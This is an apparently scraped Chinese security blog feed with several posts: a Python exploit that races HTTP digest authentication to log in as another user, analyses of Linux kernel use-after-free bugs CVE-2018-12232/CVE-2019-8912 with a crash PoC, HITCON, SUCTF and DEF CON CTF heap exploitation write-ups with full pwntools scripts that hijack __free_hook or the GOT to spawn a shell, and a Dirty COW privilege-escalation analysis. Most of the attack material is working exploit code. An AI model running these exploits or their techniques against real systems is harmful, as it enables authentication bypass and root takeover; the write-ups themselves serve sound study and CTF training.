例如,恶意攻击者拥有一个有效的普通用户身份user,若同时发送大量user1与user2的认证请求,有可能在user2的认证过程中会产生conf->ha1的值被覆盖成user1的ha1的情况,从而实现用user1登陆到user2

漏洞exp

#!/usr/bin/python3
__license__     = "MIT License",
__author__      = "Jinwen Zhou <[email protected]>"

from requests.auth import HTTPDigestAuth
import os
import re
import time
import hashlib
import threading
import warnings
from base64 import b64encode
import requests
from requests.compat import urlparse, str, basestring
from requests.cookies import extract_cookies_to_jar
from requests._internal_utils import to_native_string
from requests.utils import parse_dict_header
url = 'http://127.0.0.1/file2'


class AttackAuth(HTTPDigestAuth):
    def __init__(self, username, valid_username, valid_password):
        self.valid_username = valid_username
        self.valid_password = valid_password
        super().__init__(username, password="iwillhackyou")

    def build_digest_header(self, method, url):
        """
        :rtype: str
        """

        realm = self._thread_local.chal['realm']
        nonce = self._thread_local.chal['nonce']
        qop = self._thread_local.chal.get('qop')
        algorithm = self._thread_local.chal.get('algorithm')
        opaque = self._thread_local.chal.get('opaque')
        hash_utf8 = None

        if algorithm is None:
            _algorithm = 'MD5'
        else:
            _algorithm = algorithm.upper()
        # lambdas assume digest modules are imported at the top level
        if _algorithm == 'MD5' or _algorithm == 'MD5-SESS':
            def md5_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.md5(x).hexdigest()
            hash_utf8 = md5_utf8
        elif _algorithm == 'SHA':
            def sha_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha1(x).hexdigest()
            hash_utf8 = sha_utf8
        elif _algorithm == 'SHA-256':
            def sha256_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha256(x).hexdigest()
            hash_utf8 = sha256_utf8
        elif _algorithm == 'SHA-512':
            def sha512_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha512(x).hexdigest()
            hash_utf8 = sha512_utf8

        def KD(s, d): return hash_utf8("%s:%s" % (s, d))

        if hash_utf8 is None:
            return None

        # XXX not implemented yet
        entdig = None
        p_parsed = urlparse(url)
        #: path is request-uri defined in RFC 2616 which should not be empty
        path = p_parsed.path or "/"
        if p_parsed.query:
            path += '?' + p_parsed.query

        A1 = '%s:%s:%s' % (self.valid_username, realm, self.valid_password)
        A2 = '%s:%s' % (method, path)

        HA1 = hash_utf8(A1)
        HA2 = hash_utf8(A2)

        if nonce == self._thread_local.last_nonce:
            self._thread_local.nonce_count += 1
        else:
            self._thread_local.nonce_count = 1
        ncvalue = '%08x' % self._thread_local.nonce_count
        s = str(self._thread_local.nonce_count).encode('utf-8')
        s += nonce.encode('utf-8')
        s += time.ctime().encode('utf-8')
        s += os.urandom(8)

        cnonce = (hashlib.sha1(s).hexdigest()[: 16])
        if _algorithm == 'MD5-SESS':
            HA1 = hash_utf8('%s:%s:%s' % (HA1, nonce, cnonce))

        if not qop:
            respdig = KD(HA1, "%s:%s" % (nonce, HA2))
        elif qop == 'auth' or 'auth' in qop.split(','):
            noncebit = "%s:%s:%s:%s:%s" % (
                nonce, ncvalue, cnonce, 'auth', HA2
            )
            respdig = KD(HA1, noncebit)
        else:
            # XXX handle auth-int.
            return None

        self._thread_local.last_nonce = nonce

        # XXX should the partial digests be encoded too?
        base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \
               'response="%s"' % (self.username, realm, nonce, path, respdig)
        if opaque:
            base += ', opaque="%s"' % opaque
        if algorithm:
            base += ', algorithm="%s"' % algorithm
        if entdig:
            base += ', digest="%s"' % entdig
        if qop:
            base += ', qop="auth", nc=%s, cnonce="%s"' % (ncvalue, cnonce)

        return 'Digest %s' % (base)

def exploit():
    while True:
        r=requests.get(url, auth=AttackAuth('root', 'john', '123456'))  # attack_user,valid_user,valid_password
        if r.status_code == 200:
            print ("exploit success!!! Let's see what we get")
            print (r.content)

def race():
    while True:
        requests.get(url, auth=HTTPDigestAuth('john', '123456'))

if __name__ == "__main__":
    pid = os.fork()
    if pid == 0:
        exploit()
    else:
        race()

特别感谢

本文关于Digest认证的描述主要参考了HTTP摘要认证HTTP认证模式:Basic and Digest Access Authentication两篇文章,受益匪浅,特别感谢

]]>
<![CDATA[Linux 内核UAF漏洞分析(CVE-2018-12232及CVE-2019-8912)]]>https://blog.lovetecnet.xyz/2019/03/5ed110028577930534277164/5ed110028577930534277164Thu, 14 Mar 2019 22:18:11 GMTLinux 内核UAF漏洞分析(CVE-2018-12232及CVE-2019-8912)

本文主要参考:https://paper.seebug.org/828/

漏洞解析

CVE-2018-12232

要想了解CVE-2019-8912,首先我们必须要回到去年的一个commit:6d8c50dcb029872b298eea68cc6209c866fd3e14,该commit主要目的是为了修复sock_close()与sockfs_setattr()之间的条件竞争漏洞,具体原因fcownat()没有保持fd的引用计数,fcownat()函数的功能是改变文件的owner或者group,在进入内核后会调用sockfs_setattr()去设置uid属性Linux 内核UAF漏洞分析(CVE-2018-12232及CVE-2019-8912)
如果我们在它调用之前调用sock_close()函数将sock->sk释放并置空,那么就会产生NULL pointer引用漏洞,为了解决这个问题,内核开发者
作出了如下修复:
Linux 内核UAF漏洞分析(CVE-2018-12232及CVE-2019-8912)
__sock_release()拥有一个inode参数,当其不为空时,使用inode_lock()上锁,再调用sock->ops->release()释放sock,->release()只是一个函数指针,取决于socket的具体类型,释放完成后inode_unlock()解锁
Linux 内核UAF漏洞分析(CVE-2018-12232及CVE-2019-8912)
sockfs_setattr()增加了对sock->sk是否为空的检查

简单验证poc:

#include <pthread.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>

pthread_t t;
volatile int fd;

void *close_thread(void *arg)
{
    for (;;) {
        usleep(rand() % 100);
        close(fd);
    }
}

int main()
{
    pthread_create(&t, NULL, close_thread, NULL);
    for (;;) {
            fd = socket(rand() % 50, rand() % 11, 0);
        fchownat(fd, "", 1000, 1000, 0x1000);
        close(fd);
    }
}

CVE-2019-8912

Linux Crypto 模块

根据kernel文档的描述,Crypto模块在2.5.45版本引入内核,并在2.6.38版本添加了用户层接口,该API通过AF_ALG类型的socket供调用.

漏洞解析

CVE-2018-12232看起来很完美的修复,为什么还会有CVE-2019-8912,原因是这个修复有效的前提是->release()函数会将sock->sk置空,不幸的是,crypto模块的af_alg_release()并没有将sk设为NULL,从而可以绕过sockfs_setattr()对sock->sk的检查

In the Linux kernel af_alg_release() in crypto/af_alg.c neglects to set a NULL value for a certain structure member, which leads to a use-after-free (UAF) in sockfs_setattr.
A local attacker can use this flaw to escalate privileges and take control of the system. Other vendors have considered this a 'network' accessible attack, this claim is unsubstantiated at this time.

KASAN has found use-after-free in sockfs_setattr.
The existed commit 6d8c50dcb029 ("socket: close race condition between sock_close()
and sockfs_setattr()") is to fix this simillar issue, but it seems to ignore
that crypto module forgets to set the sk to NULL after af_alg_release.

修复方式也很简单,commit:9060cb719e61b685ec0102574e10337fa5f445ea,补丁在af_alg_release()添加了一行代码:sock->sk = NULL;

]]>
<![CDATA[HITCON CTF 2018-babytcache childrentcache]]>https://blog.lovetecnet.xyz/2018/10/5ed110028577930534277161/5ed110028577930534277161Fri, 26 Oct 2018 03:07:58 GMTHITCON CTF 2018-babytcache childrentcache

比赛的时候没做出来,赛后对着Angelboy师傅的wp复现了一下,在这里给大家介绍一下主要思路.

babytcache

程序有一个NULL byte off by one漏洞,可以覆盖下一个堆块的size一个字节
HITCON CTF 2018-babytcache childrentcache

先new三个堆块,再new 7个0xf0大小的堆块,然后free掉,好让堆块0落入unsorted bin中

new(0xf0,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2

for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)

free(0)

然后就是off by one,把2号堆块的size从0x101覆盖成0x100,然后free掉

free(1)
new(0x208,'a'*0x200+p64(0x310)) #index 0 原先的1号
free(2)
free(0)

此时堆块情况如下图
HITCON CTF 2018-babytcache childrentcache

由于我们伪造的pre_size, chunk overlapping

8号与9号堆块均指向之前的2号堆快,此时堆中有残留的指针,我们使fd指向stdout->_flag //只需要爆破4bit

for _ in range(7):
new(0xf0,'an')

new(0xf0,'n') #index 7

new(0x100,'x60x57') #index 8  from unsortedbin
new(0x200,'n') #index 9 from tcache

再次new时,我们可以改写stdout的内容

new(0x200,p64(0xfbad3c80)+p64(0)*3 + "x00") #overwrite stdout
libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0
print hex(libc_base)

可以看见puts会调用_IO_new_file_xsputn,然后调用_IO_OVERFLOW

size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
...
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) //flag bypass
{
...
}
...
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
if (_IO_OVERFLOW (f, EOF) == EOF)
return to_do == 0 ? EOF : n - to_do;
...
}

_IO_new_file_overflow最后调用_IO_do_write将_IO_write_base上的内容输出,通过partial overwrite,将_IO_write_base指向特定区域,从而泄漏libc地址

int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
}

最后one_gadget 写free_hook get shell

one_gadget=libc_base+0x4f322
free_hook=libc_base+libc.symbols['__free_hook']
free(8)
free(9)
free(1)
free(2)
free(3)
free(4)
new(0x100,p64(free_hook))
new(0x100,"pwnn")
new(0x100,p64(one_gadget))
free(1)
sh.interactive()

exp

from pwn import *

sh=process("./baby_tcache")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level="debug"
def new(size,content):
sh.recvuntil("Your choice: ")
sh.sendline("1")
sh.recvuntil("Size:")
sh.sendline(str(size))
sh.recvuntil("Data:")
sh.send(content)

def free(index):
sh.recvuntil("Your choice: ")
sh.sendline("2")
sh.recvuntil("Index:")
sh.sendline(str(index))

gdb.attach(sh)
new(0xf0,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2
for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)

free(0)

free(1)
new(0x208,'a'*0x200+p64(0x310)) #index 0
free(2)
free(0)

for _ in range(7):
new(0xf0,'an')

new(0xf0,p64(0)+'c') #index 7

new(0x100,'x60x57') #index 8  from unsortedbin
new(0x200,'n') #index 9 from tcache

free(0)

new(0x200,p64(0xfbad3c80)+p64(0)*3 + "x00") #overwrite stdout
libc_base = u64(sh.recvuntil("$$")[8:16]) - 0x3ed8b0
print hex(libc_base)
one_gadget=libc_base+0x4f322
free_hook=libc_base+libc.symbols['__free_hook']
free(8)
free(9)
free(1)
free(2)
free(3)
free(4)
new(0x100,p64(free_hook))
new(0x100,"pwnn")
new(0x100,p64(one_gadget))
free(1)
sh.interactive()

佩服Angelboy师傅,太强了

参考

https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/baby_tcache.py

children tcache

这题比较简单
前面的步骤与babytcache大同小异,chunk overlapping

new(0x100,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2
for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)
for _ in range(7):
new(0x100,'an')
for i in range(3,10):
free(i)

free(0)
free(1)
new(0x208,'a'*0x208) #index 0

free(0)
new(0x207,'a'*0x207) #index 0
free(0)
new(0x206,'a'*0x206)
free(0)
new(0x205,'a'*0x205)
free(0)
new(0x204,'a'*0x204)
free(0)
new(0x203,'a'*0x203)
free(0)
new(0x202,'a'*0x200+'x20x03') #index 0
free(2)
free(0)

8号,9号指向的均为同一堆块,释放掉堆块,可以打印unsortedbin 的fd,泄露出libc的地址

new(0x100,'n') #index 7

new(0x100,'x00') #index 8
new(0x200,'x00') #index 9

for i in range(7):
free(i)

free(8)
leak(9)
libc_base=u64(sh.recv(6)+'x00x00')-4111520
print hex(libc_base)

最后one_gadget写free_hook getshell

new(0x300,'an') #index 8

free(9)
free(8)
new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8
new(0x300,'haha') #index 9

free(0)
free(1)
one_gadget=libc_base+0x4f322
new(0x300,p64(one_gadget))
free(2)
sh.interactive()

exp

from pwn import *

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh=process("./children_tcache")
#sh=remote("52.68.236.186",56746)
context.log_level="debug"
def new(size,content):
sh.recvuntil("Your choice: ")
sh.sendline("1")
sh.recvuntil("Size:")
sh.sendline(str(size))
sh.recvuntil("Data:")
sh.send(content)

def free(index):
sh.recvuntil("Your choice: ")
sh.sendline("3")
sh.recvuntil("Index:")
sh.sendline(str(index))

def leak(index):
sh.recvuntil("Your choice: ")
sh.sendline("2")
sh.recvuntil("Index:")
sh.sendline(str(index))

gdb.attach(sh)
new(0x100,'an') #0
new(0x200,'an') #1
new(0xf0,'an')#2
for _ in range(7):
new(0xf0,'an')
for i in range(3,10):
free(i)
for _ in range(7):
new(0x100,'an')
for i in range(3,10):
free(i)

free(0)
free(1)
new(0x208,'a'*0x208) #index 0

free(0)
new(0x207,'a'*0x207) #index 0
free(0)
new(0x206,'a'*0x206)
free(0)
new(0x205,'a'*0x205)
free(0)
new(0x204,'a'*0x204)
free(0)
new(0x203,'a'*0x203)
free(0)
new(0x202,'a'*0x200+'x20x03') #index 0
free(2)
free(0)

for _ in range(7):
new(0x100,'an')

new(0x100,'n') #index 7

new(0x100,'x00') #index 8
new(0x200,'x00') #index 9

for i in range(7):
free(i)

free(8)
leak(9)
libc_base=u64(sh.recv(6)+'x00x00')-4111520
print hex(libc_base)

for _ in range(7):
new(0x100,'an')

new(0x300,'an') #index 8

free(9)
free(8)
new(0x300,p64(libc_base+libc.symbols['__free_hook'])) #index 8
new(0x300,'haha') #index 9

free(0)
free(1)
one_gadget=libc_base+0x4f322
new(0x300,p64(one_gadget))
free(2)
sh.interactive()

参考

https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/children_tcache.py

]]>
<![CDATA[SUCTF2018 offbyone]]>
#!/usr/bin/env python

from pwn import *

sh = process("./offbyone")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
context.arch="amd64"

def create(length, content):
	sh.recvuntil("edit\n")
	sh.sendline("1")
	sh.recvuntil("input
]]>
https://blog.lovetecnet.xyz/2018/08/5ed110028577930534277160/5ed110028577930534277160Thu, 16 Aug 2018 08:15:10 GMT
#!/usr/bin/env python

from pwn import *

sh = process("./offbyone")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
context.arch="amd64"

def create(length, content):
	sh.recvuntil("edit\n")
	sh.sendline("1")
	sh.recvuntil("input len\n")
	sh.sendline(str(length))
	sh.recvuntil("input your data\n")
	sh.send(content)

def delete(index):
	sh.recvuntil("edit\n")
	sh.sendline("2")
	sh.recvuntil("input id\n")
	sh.sendline(str(index))

def show(index):
	sh.recvuntil("edit\n")
	sh.sendline("3")
	sh.recvuntil("input id\n")
	sh.sendline(str(index))

def edit(index,content):
	sh.recvuntil("edit\n")
	sh.sendline("4")
	sh.recvuntil("input id\n")
	sh.sendline(str(index))
	sh.recvuntil("input your data\n")
	sh.send(content)

gdb.attach(sh)

print "stage 1:-----------------unlink attack-----------------"
create(0x88,'h'*0x88) #index 0
create(0x88,'j'*0x88) #index 1
create(0x88,'k'*0x88) #index 2
create(0x88,'A'*0x88) #index 3
create(0x88,'B'*0x88) #index 4
create(0x88,'C\n')
store_addr=0x6020c0 + 0x18
edit(3,p64(0)+p64(0x80)+p64(store_addr-0x18)+p64(store_addr-0x10)+'C'*0x60+p64(0x80)+'\x90') 
delete(4)
atoi_got=0x602068
puts_plt=0x000000000400700
free_got=0x000000000602018
puts_got=0x000000000602028
edit(3,p64(free_got)) #overwrte index 0 --> got_free
edit(0,p64(puts_plt))

print "stage 2:-----------------leak libc:-----------------"
edit(3,p64(puts_got))
delete(0)
sh.recvuntil("\n")
sh.recvuntil("\n")
puts_address=u64(sh.recv(6)+'\x00'*2) #
print hex(puts_address)
libc_base=puts_address-libc.symbols['puts']
print hex(libc_base)

system_addr=libc_base+libc.symbols['system']
print hex(system_addr)

print "stage 3:-----------------pwn it:-----------------"
create(0x88,'A'*0x88) #index 0
edit(3,p64(atoi_got))
edit(0,p64(system_addr))
sh.recvuntil("edit\n")
sh.sendline("/bin/sh\x00")
sh.interactive()

]]>
<![CDATA[DEF CON Quals 2017: beatmeonthedl]]>


Unlink练习题

#!/usr/bin/python 

from pwn import *

sh=process("./beatmeonthedl")
#gdb.attach(sh)
elf=ELF('./beatmeonthedl')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

system_offset = libc.symbols['system']
sh_offset = next(libc.search('/bin/sh')) - system_offset
puts_offset = libc.symbols['puts']

def
]]>
https://blog.lovetecnet.xyz/2018/06/5ed11002857793053427715d/5ed11002857793053427715dFri, 15 Jun 2018 12:10:11 GMT


Unlink练习题

#!/usr/bin/python 

from pwn import *

sh=process("./beatmeonthedl")
#gdb.attach(sh)
elf=ELF('./beatmeonthedl')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

system_offset = libc.symbols['system']
sh_offset = next(libc.search('/bin/sh')) - system_offset
puts_offset = libc.symbols['puts']

def create(content):
    sh.sendline("1")
    sh.recvuntil("Request text > ")
    sh.sendline(content)
    sh.recv(1024)

def edit(index,content):
    sh.sendline("4")
    sh.recvuntil("choice: ")
    sh.sendline(str(index))
    sh.recv(1024)
    sh.send(content)
    sh.recv(1024)

def remove(index):
    sh.sendline("3")
    sh.recv(1024)
    sh.sendline(str(index))
    sh.recv(1024)


sh.recv(1024)
print "------sending username and password------"
sh.sendline("mcfly")
sh.recv(1024)
sh.sendline("awesnap")

sh.recvuntil("| ")

print "------attack------"
fake_addr=0x0000000000609E80
fake_chunk=p64(0)+p64(0x30)+p64(fake_addr-0x18)+p64(fake_addr-0x10)
fake_chunk=fake_chunk.ljust(0x30,'a')
fake_chunk+=p64(0x30)+p64(0x42)
create('B'*6) #index 0
create('C'*6) #index 1
create('4') #index 2
edit(0,fake_chunk)
remove(1)
payload='A'*0x18+p64(elf.got['puts'])+'\x00'*8+p64(elf.got['atoi'])
edit(0,payload)
sh.sendline("2")
sh.recvuntil('0) ')
puts_addr=u64(sh.recv(6)+'\x00\x00')
print sh.recv(1024)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

edit(2,p64(system_addr))
sh.send('/bin/sh')
sh.interactive()
]]>
<![CDATA[脏牛(CVE-2016-5195)漏洞分析]]>

漏洞描述

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

360 Vulpecker Team:Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响

 

Dirty COW的发现可谓是轰动,只要得到一个低权限帐号,就能轻松root,可谓是神洞.最近在研究条件竞争,特意学习了一下.

POCs

]]>
https://blog.lovetecnet.xyz/2018/04/5ed11002857793053427715c/5ed11002857793053427715cWed, 18 Apr 2018 16:06:56 GMT

漏洞描述

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

360 Vulpecker Team:Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响

 

Dirty COW的发现可谓是轰动,只要得到一个低权限帐号,就能轻松root,可谓是神洞.最近在研究条件竞争,特意学习了一下.

POCs

漏洞分析

脏牛(Dirty COW)名字来源于Linux的Copy on Write机制,该机制存在条件竞争漏洞,导致可以破坏私有只读内存映射。

一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致某些Linux版本提权漏洞。

低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取Root权限。

get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

 

POC分析

POC的地址如下:[https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c], 下面是POC关键部分的伪代码:

Main:
    fd = open(filename, O_RDONLY)
    fstat(fd, &st)
    map = mmap(NULL, st.st_size , PROT_READ, MAP_PRIVATE, fd, 0)
    start Thread1
    start Thread2
    
Thread1:
    f = open("/proc/self/mem", O_RDWR)
    while (1):
        lseek(f, map, SEEK_SET)
        write(f, shellcode, strlen(shellcode))
        
Thread2:
    while (1):
        madvise(map100, MADV_DONTNEED)

首先打开我们需要修改的只读文件并使用MAP_PRIVATE标记映射文件到内存区域,然后启动两个线程:

其中一个线程向文件映射的内存区域写数据,这时内核采用COW机制。

另一个线程使用带MADV_DONTNEED参数的madvise系统调用将文件映射内存区域释放,达到干扰另一个线程的COW过程,产生竞态条件,当竞态条件发生时就能写入文件成功。

/proc/{pid}/mem是一个假的文件,它提供了一些Out-of-band的访问内存的方法。另一个类似的访问是调用ptrace(2),同样的,也可称为Dirty COW的另一个可选的攻击点。

在内核层面中,文件系统的操作的实现是利用面向对象的思想设计的(OOP)。有一个通用的抽象的结构struct file_operations。不同的文件类型,可以提供不同的实现。对于/proc/{pid}/mem,它的实现在文件/fs/proc/base.c中。

static const struct file_operations proc_mem_operations = {
    .llseek  = mem_lseek,
    .read    = mem_read,
    .write   = mem_write,
    .open    = mem_open,
    .release = mem_release,};

当write(2)写一个虚拟文件时,内核将调用函数mem_write,它只是对meme_rw的一个简单的封装。

static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write){
    struct mm_struct *mm = file->private_data;
    unsigned long addr = *ppos;
    ssize_t copied;
    char *page;

    if (!mm)
        return 0;

    /* allocate an exchange buffer */
    page = (char *)__get_free_page(GFP_TEMPORARY);
    if (!page)
        return -ENOMEM;

    copied = 0;
    if (!atomic_inc_not_zero(&mm->mm_users))
        goto free;

    while (count > 0) {
        int this_len = min_t(int, count, PAGE_SIZE);

        /* copy user content to the exchange buffer */
        if (write && copy_from_user(page, buf, this_len)) {
            copied = -EFAULT;
            break;
        }

        this_len = access_remote_vm(mm, addr, page, this_len, write);
        if (!this_len) {
            if (!copied)
                copied = -EIO;
            break;
        }

        if (!write && copy_to_user(buf, page, this_len)) {
            copied = -EFAULT;
            break;
        }

        buf += this_len;
        addr += this_len;
        copied += this_len;
        count -= this_len;
    }
    *ppos = addr;

    mmput(mm);free:
    free_page((unsigned long) page);
    return copied;}

函数开始的时候分配了一个临时的内存buffer,用来在源进程(i.e. 写的那个进程)和目的进程(被写/proc/self/mem的那个进程)之间的内存交换。当前,这两个进程是一样的。但是在一般情况下这一步是非常重要的,对于两个不同的进程。因为一个进程不能直接访问另一个进程的虚拟地址空间。
之后它拷贝源进程的用户态bufferbuf中的内容到当前刚申请的空间中,通过调用函数copy_from_use。
当这些前奏工作准备好之后,真正关键的部分是access_remote_vm。正如其名字含义一样,它允许内核读写另一个进程的虚拟地址空间。它是所有out-of-band访问内存方式的核心实现(比如,ptrace(2), /proc/self/mem, process_vm_readv, process_vm_writev等)。
access_remote_vm调用了多个中间层函数,最终调用__get_user_pages_locked(...),在这个函数中,它第一次开始解析这种out-of-band访问方式的flags,当前情况的标志为:
FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE
这些被称为gup_flags(Get User Pages flags)或者foll_flags(Follow flags),它们来代表一些信息,比如调用者为什么或以何种方式访问和获得目标的内存页。我们暂称它为access semantics(访问语义)。
之后flag和所有其他的参数之后传递给__get_user_pages,此时才是开始真正地访问远程进程内存。

//进行写操作
mem_write 
	    mem_rw  
     access_remote_vm
            __access_remote_vm        
                //用于获取页
                get_user_pages
                    __get_user_pages
                        retry:
                            follow_page_mask(...,flag,...);
                                //通过内存地址来找到内存页
                                follow_page_pte(...,flag,...);
                                     //如果获取页表项时要求页表项所指向的内存映射具有写权限,但是页表项所指向的内存并没有写权限。则会返回空
                                    if ((flags & FOLL_WRITE) && !pte_write(pte)) 
                                        return NULL
                                    ////获取页表项的请求不要求内存映射具有写权限的话会返回页表项
                                    return page
                            if (foll_flags & FOLL_WRITE)//要求页表项要具有写权限,所以FOLL_WRITE为1
                                fault_flags |= FAULT_FLAG_WRITE;
                            //获取页表项
                            if (!page) {
                                faultin_page(vma,...); //获取失败时会调用这个函数
                                     handle_mm_fault();
                                        __handle_mm_fault()
                                            handle_pte_fault()
                                                if (!fe->pte) 
                                                    do_fault(fe);
                                                        ////如果不要求目标内存具有写权限时导致缺页,内核不会执行COW操作产生副本,ers
                                                        if (!(fe->flags & FAULT_FLAG_WRITE))
                                                            do_read_fault(fe, pgoff);
                                                                __do_fault(fe, pgoff, NULL, &fault_page, NULL);
                                                                ret |= alloc_set_pte(fe, NULL, fault_page)
                                                                    //如果执行了COW,设置页表时会将页面标记为脏,但是不会标记为可写。
                                                                    if (fe->flags & FAULT_FLAG_WRITE)
                                                                        entry = maybe_mkwrite(pte_mkdirty(entry), vma);
                                                        //如果要求目标内存具有写权限时导致缺页,目标内存映射是一个VM_PRIVATE的映射,内核会执行COW操作产生副本
                                                        if (!(vma->vm_flags & VM_SHARED))
                                                            do_cow_fault(fe, pgoff);
                                                                new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, fe->address);
                                                                ret = __do_fault(fe, pgoff, new_page, &fault_page, &fault_entry);
                                                                copy_user_highpage(new_page, fault_page, fe->address, vma);
                                                                ret |= alloc_set_pte(fe, memcg, new_page);
                                                if (fe->flags & FAULT_FLAG_WRITE)
                                                    if (!pte_write(entry))
                                                        do_wp_page(fe, entry)//VM_FAULT_WRITE置1
                                                            if ((flags & FAULT_FLAG_WRITE) && reuse_swap_page(page))
                                                                maybe_mkwrite(pte_mkdirty(entry), vma);
                                                                if (likely(vma->vm_flags & VM_WRITE))
                                                                    pte_mkwrite(pte);
                                                                flags &= ~FAULT_FLAG_WRITE;
                                                                ret |= VM_FAULT_WRITE;
                                if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
                                    *flags &= ~FOLL_WRITE;
                          ,==0 goto retry        
        if (write)
          copy_to_user_page

Memory Map原理

内存映射就是把物理内存映射到进程的地址空间之内,这些应用程序就可以直接使用输入输出的地址空间.由此可以看出,使用内存映射文件处理存储于磁盘上的文件时,将不需要由应用程序对文件执行I/O操作,这意味着在对文件进行处理时将不必再为文件申请并分配缓存,所有的文件缓存操作均由系统直接管理,由于取消了将文件数据加载到内存、数据从内存到文件的回写以及释放内存块等步骤,使得内存映射文件在处理大数据量的文件时能起到相当重要的作用。

Linux下mmap的实现过程与普通文件io操作

mmap映射原理与过程

一般文件io操作方式

通过内存映射的方法访问硬盘上的文件,效率要比read和write系统调用高, read()是系统调用,其中进行了数据拷贝,它首先将文件内容从硬盘拷贝到内核空间的一个缓冲区,然后再将这些数据拷贝到用户空间,在这个过程中,实际上完成了 两次数据拷贝 ;而mmap()也是系统调用,如前所述,mmap()中没有进行数据拷贝,真正的数据拷贝是在缺页中断处理时进行的,由于mmap()将文件直接映射到用户空间,所以中断处理函数根据这个映射关系,直接将文件从硬盘拷贝到用户空间,只进行了 一次数据拷贝 。因此,内存映射的效率要比 read/write效率高。

 

Copy-on-Write(COW)

当我们用mmap去映射文件到内存区域时使用了MAP_PRIVATE标记,我们写文件时会写到COW机制产生的内存区域中,原文件不受影响。

第一次查找页

follow_page_mask

该函数用来通过进程虚拟地址沿着pgd、gud、gmd、pte一路查找page。因为是第一次访问映射的内存区域,此时页表是空的,返回NULL,然后外层函数进入faultin_page过程去调页。

static long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
        unsigned long start, unsigned long nr_pages,
        unsigned int gup_flags, struct page **pages,
        struct vm_area_struct **vmas, int *nonblocking)
{
    // ...
    do {
        struct page *page;
        unsigned int foll_flags = gup_flags;
        // ...
        vma = find_extend_vma(mm, start);
        // ...  
         
retry:
        // ...
        cond_resched();
        page = follow_page_mask(vma, start, foll_flags, &page_mask);
        if (!page) {
            int ret;
            ret = faultin_page(tsk, vma, start, &foll_flags,
                    nonblocking);
            switch (ret) {
            case 0:
                goto retry;
            case -EFAULT:
            case -ENOMEM:
            case -EHWPOISON:
                return i ? i : ret;
            case -EBUSY:
                return i;
            case -ENOENT:
                goto next_page;
            }
            BUG();
        }
        // ...
         
next_page:
        // ...
        nr_pages -= page_increm;
    } while (nr_pages);
    return i;
}

 

整个while循环的目的是获取请求页队列中的每个页,反复操作直到满足构建所有内存映射的需求,这也是retry标签的作用。

follow_page_mask读取页表来获取指定地址的物理页(同时通过PTE允许)或获取不满足需求的请求内容。在follow_page_mask操作中会获取PTE的spinlock-用来保护我们试图获取内容的物理页不被泄露。

faultin_page函数申请内存管理的权限(同样有PTE的spinlock保护)来处理目标地址中的错误信息。注意在成功调用faultin_page后,锁会自动释放-从而保证follow_page_mask能够成功进行下一次尝试,下面是我们使用时可能涉及到的代码。

faultin_page

